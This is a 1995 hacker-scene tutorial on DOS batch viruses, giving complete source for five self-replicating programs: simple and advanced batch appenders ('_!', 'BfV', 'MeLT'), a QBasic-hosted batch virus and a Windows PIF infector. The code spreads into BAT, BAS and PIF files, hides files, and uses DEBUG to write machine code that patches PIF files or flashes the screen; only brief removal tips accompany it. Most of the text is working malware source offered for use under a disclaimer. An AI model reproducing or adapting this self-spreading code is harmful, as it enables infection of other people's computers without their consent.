home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / BATCHCOL.ZIP / TUTORIAL.ZIP / BVTUTOR2.TXT < prev    next >
Text File  |  1996-12-12  |  14KB  |  394 lines

  1.  
  2.       ╔═════════════════════════════════════════════════════════════╗
  3.       ║  Batch Viruses by "Wavefunc" - Second Issue - Sept. 2 1995  ║
  4.       ╚═════════════════════════════════════════════════════════════╝
  5.  
  6. All of these replicating programs require standard MSDOS 6 to function
  7. properly. The FIND command must return an errorlevel or they won't work.
  8.  
  9. I'll despense with the boring warnings, suffice it to say if you utilize
  10. any of this in a irresponsible or damaging way then you are responsible
  11. for whatever your actions cause.
  12.  
  13. As written these programs are not damaging to data and will only affect
  14. BAT, BAS and PIF files. One could say this is still data but no malice is
  15. intended. Art maybe. Others might not be so nice - batch viruses are
  16. perfectly capable of carrying deadly payloads.
  17.  
  18. Recovery from these creatures is easy - load the batch or basic file into
  19. EDIT and remove the added virus code. In the case of the PIF virus use
  20. the Windows PifEdit program to change the ...bat in the filename field
  21. back to ...com or ...exe and remove the hidden companion batch. Some of
  22. these viruses make hidden files, use 'DIR \ /AH /S' to find them then for
  23. each file that is actually a virus issue 'ATTRIB file -H' then 'DEL file'.
  24. Make sure you remove only virus files, leave hidden system files like
  25. MSDOS.SYS and IO.SYS (and others) alone!
  26.  
  27.  
  28.             About batch viruses
  29.             -------------------
  30.  
  31. Reproducing batch programs use the FIND command to separate its code
  32. from the program that code is attached to. For this to work, every
  33. replicating line in the virus must contain a specific string, the key
  34. string of the virus. Another vital component of a replicating batch
  35. is the FOR command, used to scan for other batch files, usually with
  36. the mask "*.BAT". A variety of commands can be used for the actual
  37. infection, including FIND, TYPE, ECHO, COPY and MOVE. Simple batch
  38. replicators just append their code at the end of batches in the hopes
  39. it will run (usually it does). Advanced infectors modify the start of
  40. the batch to force the issue. In such cases the added first line does
  41. not contain the key string but is added by an ECHO within the virus.
  42.  
  43. This is not the only type of batch virus! Batch viruses can be written
  44. in assembly and use either DEBUG or ECHO to hide the virus code in hex
  45. or text which is attached to infected batches. These tend to be very
  46. advanced. A batch file can also rename a binary then copy itself to a
  47. batch with the same base name. This one's been around for a while.
  48.  
  49. Most of the viruses presented here become a self contained part of the
  50. host, giving them that coveted ability of travel. Machine code is used
  51. only for specific functions, not for reproduction. That is done with
  52. plain old DOS. Only DOS 6 seems vulnerable to these types of viruses,
  53. I have no information on PCDOS, 4DOS or other operating environments.
  54. They run on my system and probably on many others.
  55.  
  56. At the end of this document is an encoded batch that will detect most
  57. (practically all) batch viruses of this type and also suspicious code
  58. that might indicate a trojan or advanced batch virus of the assembly
  59. type. Use a UU decoder to extract the file "BATALERT.BAT".
  60.  
  61.  
  62.             Batch virus "_!"
  63.             ----------------
  64.  
  65.  Infects parent and current directories
  66.  Virus code is appended to the host batch
  67.  Only works if host is in current directory
  68.  Infects just one batch unless new clean batches are added
  69.  
  70. This is a very simple batch virus. When it runs it appends its code
  71. to another batch file in the parent or current directory. It is not
  72. very effective but illustrates the basics.
  73.  
  74. ----------------------------(cut here)------------------------------------
  75. @ctty nul._!
  76. for %%a in (*.bat ..\*.bat) do set _!=%%a
  77. find "_!"<%_!%
  78. if errorlevel 1 find "_!"<%0.BAT>>%_!%
  79. ctty con._!
  80. ----------------------------(cut here)------------------------------------
  81.  
  82.  
  83.             Batch virus "BfV"
  84.             -----------------
  85.  
  86.  Creates the hidden file "_BFV" in the root directory of drive C
  87.  Infects one batch per run in current and parent directories
  88.  Gives up after encountering seven infected batches
  89.  Virus code is appended to the host batch
  90.  
  91. This is an improved appender. It only has to be run from its own directory
  92. once to enable it to reproduce even when the host is in a path directory.
  93. To avoid slowing batch files down too much it exits if it can't infect
  94. after checking seven batch files. If the host batch ends with nul characters
  95. it removes them so the virus code will run.
  96.  
  97. ----------------------------(cut here)------------------------------------
  98. @echo off%[BfV_B]%
  99. if '%1=='## goto BfV_%2
  100. if exist C:\_BfV.bat goto BfV_
  101. if not exist %0.bat goto BfV_end
  102. find "BfV"<%0.bat>C:\_BfV.bat
  103. attrib C:\_BfV.bat +h
  104. :BfV_
  105. command /e:5000 /c C:\_BfV ## run
  106. goto BfV_end
  107. :BfV_run
  108. for %%i in (*.bat ..\*.bat) do call C:\_BfV ## inf %%i
  109. exit BfV
  110. :BfV_inf
  111. if '%BfV%=='1111111 exit
  112. set BfV=%BfV%1
  113. find "BfV"<%3>nul
  114. if not errorlevel 1 goto BfV_end
  115. type %3>BfV
  116. type C:\_BfV.bat>>BfV
  117. move BfV %3>nul
  118. exit BfV
  119. :BfV_end
  120. ----------------------------(cut here)------------------------------------
  121.  
  122.  
  123.             Batch virus "MeLT"
  124.             ------------------
  125.  
  126.  Creates the hidden file "MELT_2A" in the temp directory
  127.  Infects files in the current, parent and all path directories
  128.  Infects one batch per run if less than ten infected files encountered
  129.  After detecting ten infected files it displays a graphics screen effect
  130.  Adds one line before the host batch and appends the rest
  131.  Will not run if attached to AUTOEXEC.BAT (but infects it)
  132.  
  133. This batch virus is much more advanced. It takes control from the host
  134. immediately, runs the virus then runs the host batch. The host is run in
  135. such a way as to disable the virus until the host is completely finished
  136. to avoid slowing down batch files that call themselves in a loop. Simple
  137. appenders are very obvious when on such files, but this one causes no
  138. significant speed loss except at startup. This virus carries a harmless
  139. payload which is assembled with the debug command - it 'melts' the screen
  140. in a flash of color then returns it to normal before running the host.
  141.  
  142. ----------------------------(cut here)------------------------------------
  143. @if not '%0==' if '%_melt%==' goto meltbeg
  144. ::---- dummy host --------
  145. @echo off
  146. echo Hello World!
  147. ::---- end dummy host ----
  148.  
  149. @goto MeLTend [MeLT_2a]
  150. :MeLTbeg
  151. @echo off%_MeLT%
  152. if '%1=='MeLT goto MeLT%2
  153. if not exist %comspec% set comspec=%_MeLT%command
  154. %comspec% /e:5000 /c %0 MeLT vir
  155. set MeLTcl=%1 %2 %3 %4 %5 %6 %7 %8 %9
  156. call %0 MeLT rh
  157. set _MeLT=
  158. set MeLTcl=
  159. goto MeLTend
  160. :MeLTrh
  161. set _MeLT=x
  162. %0 %MeLTcl%
  163. :MeLTvir
  164. set MeLTH=%0
  165. if not exist %_MeLT%%temp%\nul set temp=%tmp%
  166. if exist %temp%\MeLT_2a goto MeLTrun
  167. %0 MeLT fnd . %path%
  168. :MeLTfnd
  169. shift%_MeLT%
  170. if '%2==' exit MeLT
  171. set MeLT=%2\%MeLTH%.bat
  172. if not exist %MeLT% set MeLT=%2\%MeLTH%
  173. if not exist %MeLT% set MeLT=%2%MeLTH%.bat
  174. if not exist %MeLT% set MeLT=%2%MeLTH%
  175. if not exist %MeLT% goto MeLTfnd
  176. find "MeLT"<%MeLT%>%temp%\MeLT_2a
  177. attrib %temp%\MeLT_2a +h
  178. :MeLTrun
  179. %MeLTH% MeLT s . .. %path%
  180. :MeLTs
  181. shift%_MeLT%
  182. if '%2==' exit MeLT
  183. for %%a in (%2\*.bat %2*.bat) do call %MeLTH% MeLT inf %%a
  184. goto MeLTs
  185. :MeLTinf
  186. find /i "MeLT"<%3>nul
  187. if not errorlevel 1 goto MeLTno
  188. echo @if not '%%0==' if '%%_melt%%==' goto meltbeg>MeLT.t
  189. type %3>>MeLT.t
  190. echo.>>MeLT.t
  191. type %temp%\MeLT_2a>>MeLT.t
  192. move MeLT.t %3>nul
  193. exit MeLT
  194. :MeLTact - flash-melt screen text then put back to normal
  195. echo e 100 BA D0 07 BB 00 B8 8E C3 8B CA 33 FF 26 8B 05 FE>MeLT.t
  196. echo e 110 C0 FE C4 26 89 05 47 47 E2 F2 FE 06 24 01 75 E8>>MeLT.t
  197. echo e 120 B4 4C CD 21 00>>MeLT.t
  198. echo g>>MeLT.t
  199. debug<MeLT.t>nul
  200. del MeLT.t
  201. exit MeLT
  202. :MeLTno
  203. set MeLTC=%MeLTC%1
  204. if %MeLTC%==1111111111 goto MeLTact
  205. :MeLTend
  206. ----------------------------(cut here)------------------------------------
  207.  
  208.  
  209.             QBasic virus "BasVir"
  210.             ---------------------
  211.  
  212.  Infects one BAS file in the current directory per run
  213.  Inserts its code in front of the host so it will run first
  214.  Does not infect QBasic programs that contain "DECLARE"
  215.  Really a batch virus that hides in BASIC code
  216.  If the host is renamed the virus won't work
  217.  
  218. I wrote this in response to someone's request on the net for a virus
  219. written in BASIC. I hope they don't mind if the BASIC program makes
  220. a batch and runs it. It stays out of programs that use procedures to
  221. avoid causing errors, such programs cannot tolerate prepended code.
  222. This is really a joke, but it's a QBasic virus (no? you write one.)
  223.  
  224. The following must be named BASVIR.BAS to function.
  225.  
  226. ----------------------------(cut here)------------------------------------
  227. basvirH$ = "BASVIR.BAS"
  228. OPEN "~$.bat" FOR OUTPUT AS #2: REM BasVir
  229. PRINT #2, "@echo off %BasVir1%"
  230. PRINT #2, "if '%1=='BasVir goto BasVir%2"
  231. PRINT #2, "for %%a in (*.bas) do call ~$ BasVir 2 %%a"
  232. PRINT #2, "exit": REM BasVir
  233. PRINT #2, ":BasVir2"
  234. PRINT #2, "find "; CHR$(34); "DECLARE "; CHR$(34); "<%3>nul": REM BasVir
  235. PRINT #2, "if not errorlevel 1 goto BasVirE"
  236. PRINT #2, "echo basvirH$ = "; CHR$(34); "%3"; CHR$(34); ">~1": REM BasVir
  237. PRINT #2, "find "; CHR$(34); "BasVir"; CHR$(34); "<"; basvirH$; ">>~1"
  238. PRINT #2, "copy %3 ~2>nul": REM BasVir
  239. PRINT #2, "copy /b ~1+~2 %3>nul": REM BasVir
  240. PRINT #2, "exit": REM BasVir
  241. PRINT #2, ":BasVirE"
  242. CLOSE #2: REM BasVir
  243. SHELL "~$": REM BasVir
  244. SHELL "del ~?.*": REM BasVir
  245. REM ******* [BasVir] the QBasic Virus *******
  246. REM This is a dummy host program
  247. SYSTEM
  248. ----------------------------(cut here)------------------------------------
  249.  
  250.  
  251.             PIF virus "PiFV"
  252.             ----------------
  253.  
  254.  Creates hidden batch files with the same base name as host
  255.  Modifies PIF to run the hidden batch instead of host program
  256.  After infecting more PIFs the companion batch runs the host
  257.  Sometimes displays a stupid message on Saturdays (it was late)
  258.  
  259. This might be the first PIF virus. One problem with PIF infection is
  260. the PIF file must be actually run or it won't work. If the user runs
  261. the actual program the virus won't work. It has other problems but is
  262. functional enough for a demo. I don't feel up to fixing it right now.
  263. It's pretty infectious right now...
  264.  
  265. ----------------------------(cut here)------------------------------------
  266. :: Windows PIF Virus (in batch!)
  267. :: Prog by WaveFunc May 13, 1995
  268. :: (these comments will not replicate)
  269. ::
  270. :: This is a virus that 'infects' PIF files, used by Windows to
  271. :: run DOS programs. It works by creating hidden companion batches
  272. :: containing copies of this then altering the PIF file so that the
  273. :: companion batch runs first. After the companion runs it runs the
  274. :: original host program, the name of which is encoded into the
  275. :: companion. The pif files are marked so that they will not be
  276. :: re-infected. Only PIFs are affected, no changes are made to
  277. :: the infected programs. To 'cure', use PIFEDIT to restore the
  278. :: original filenames then delete the hidden files.
  279. ::
  280. @echo off
  281. :: host filename...
  282. set pifvo=LIST.COM
  283. :: loop dispatcher...
  284. if '%1=='PiFV goto PiFV_%2
  285. :: run the virus!
  286. set _PiFV=
  287. if not exist %comspec% set comspec=C:\COMMAND.COM%_PiFV%
  288. %comspec% /e:5000 /c %0 PiFV go>nul
  289. if exist PiFV! del PiFV!
  290. :: run the host
  291. set PiFVcl=%1 %2 %3 %4 %5 %6 %7 %8 %9
  292. call %0 PiFV hst
  293. set PiFVo=
  294. set PiFVcl=
  295. :: check for activation...
  296. echo.|date|find /i "sat">nul.PiFV
  297. if errorlevel 1 goto PiFV_end
  298. echo.|time|find "7">nul.PiFV
  299. if errorlevel 1 goto PiFV_msg
  300. set PiFV=echo
  301. cls%_PiFV%
  302. %PiFV%.
  303. %PiFV% There once was an Otter named Oscer
  304. %PiFV% Who claimed to know how to make water.
  305. %PiFV% "No more dams," he said, "use my water instead!"
  306. %PiFV% But the Elder Otter was not impressed.
  307. pause>nul.PiFV
  308. set PiFV=
  309. goto PiFV_end
  310. :PiFV_msg
  311. echo [PiFV] by WaveFunc
  312. goto PiFV_end
  313. :PiFV_hst
  314. %PiFVo% %PiFVcl%
  315. goto PiFV_end
  316. :PiFV_go
  317. set PiFVh=%0
  318. if not exist %PiFVh% set PiFVh=%0.bat
  319. if not exist %PiFVh% exit
  320. for %%a in (*.pif) do call %0 PiFV inf %%a
  321. exit PiFV
  322. :PiFV_inf
  323. set PiFVp=%3
  324. :: get victim filename and infection marker
  325. :: from PIF file using debug...
  326. if exist PiFV! goto PiFV_1
  327. echo m 124,162 524>PiFV!
  328. echo e 100 '@set fn='>>PiFV!
  329. echo m 524,562 108>>PiFV!
  330. echo n pifv$.bat>>PiFV!
  331. echo rcx>>PiFV!
  332. echo 47>>PiFV!
  333. echo w>>PiFV!
  334. echo m 55E,561 108>>PiFV!
  335. echo e 10C 0>>PiFV!
  336. echo n pifv$$.bat>>PiFV!
  337. echo rcx>>PiFV!
  338. echo 10>>PiFV!
  339. echo w>>PiFV!
  340. echo q>>PiFV!
  341. :PiFV_1
  342. debug %PiFVp%<PiFV!>nul
  343. call PiFV$
  344. set PiFVn=%fn%
  345. call PiFV$$
  346. set PiFVi=%fn%
  347. del PiFV$?.bat
  348. :: pifvn=orig filename
  349. :: pifvi=infection marker
  350. :: pifvp=pif filename
  351. :: pifvh=companion bat file
  352. :: skip infected or 'empty' pifs...
  353. if '%PiFVi%=='PiFV goto PiFV_end
  354. if '%PiFVn%==' goto PiFV_end
  355. :: don't shadow command.com (be nice)
  356. echo %PiFVn%|find /i "command">nul
  357. if not errorlevel 1 goto PiFV_end
  358. :: infectable - create a companion batch...
  359. :: (the following code strips off the extension)
  360. echo e 100 e8 16 00 b4 08 cd 21 3c 00 74 0c 3c 2e 74 08 88>PiFV$$
  361. echo e 110 c2 b4 02 cd 21 eb ec cd 20 ba 21 01 b4 09 cd 21>>PiFV$$
  362. echo e 120 c3 73 65 74 20 66 6e 3d 24 00>>PiFV$$
  363. echo n pifv$.com>>PiFV$$
  364. echo rcx>>PiFV$$
  365. echo 2a>>PiFV$$
  366. echo w>>PiFV$$
  367. echo q>>PiFV$$
  368. debug<PiFV$$>nul
  369. echo %PiFVn%|PiFV$>PiFV$$.bat
  370. call PiFV$$
  371. set PiFVb=%fn%.bat
  372. del PiFV$?.*
  373. :: pifvb=new batch name
  374. :: do not shadow if comp has same name as host
  375. if %PiFVo%==%PiFVb% goto PiFV_end
  376. if exist %PiFVb% goto PiFV_end
  377. echo @echo off>%PiFVb%
  378. echo set pifvo=%pifvn%>>%PiFVb%
  379. find "PiFV"<%PiFVh%>>%PiFVb%
  380. attrib %PiFVb% +h
  381. :: ...and point the PIF at the companion
  382. echo e 15E 'PiFV',0>PiFV$$
  383. echo e 124 '%PiFVb%',0>>PiFV$$
  384. echo w>>PiFV$$
  385. echo q>>PiFV$$
  386. debug %PiFVp%<PiFV$$>nul
  387. del PiFV$$
  388. :: I think we're done!
  389. exit PiFV
  390. :PiFV_end
  391. :: wonder how many bugs all this has in it? Only one
  392. :: way to find out...
  393.  
  394.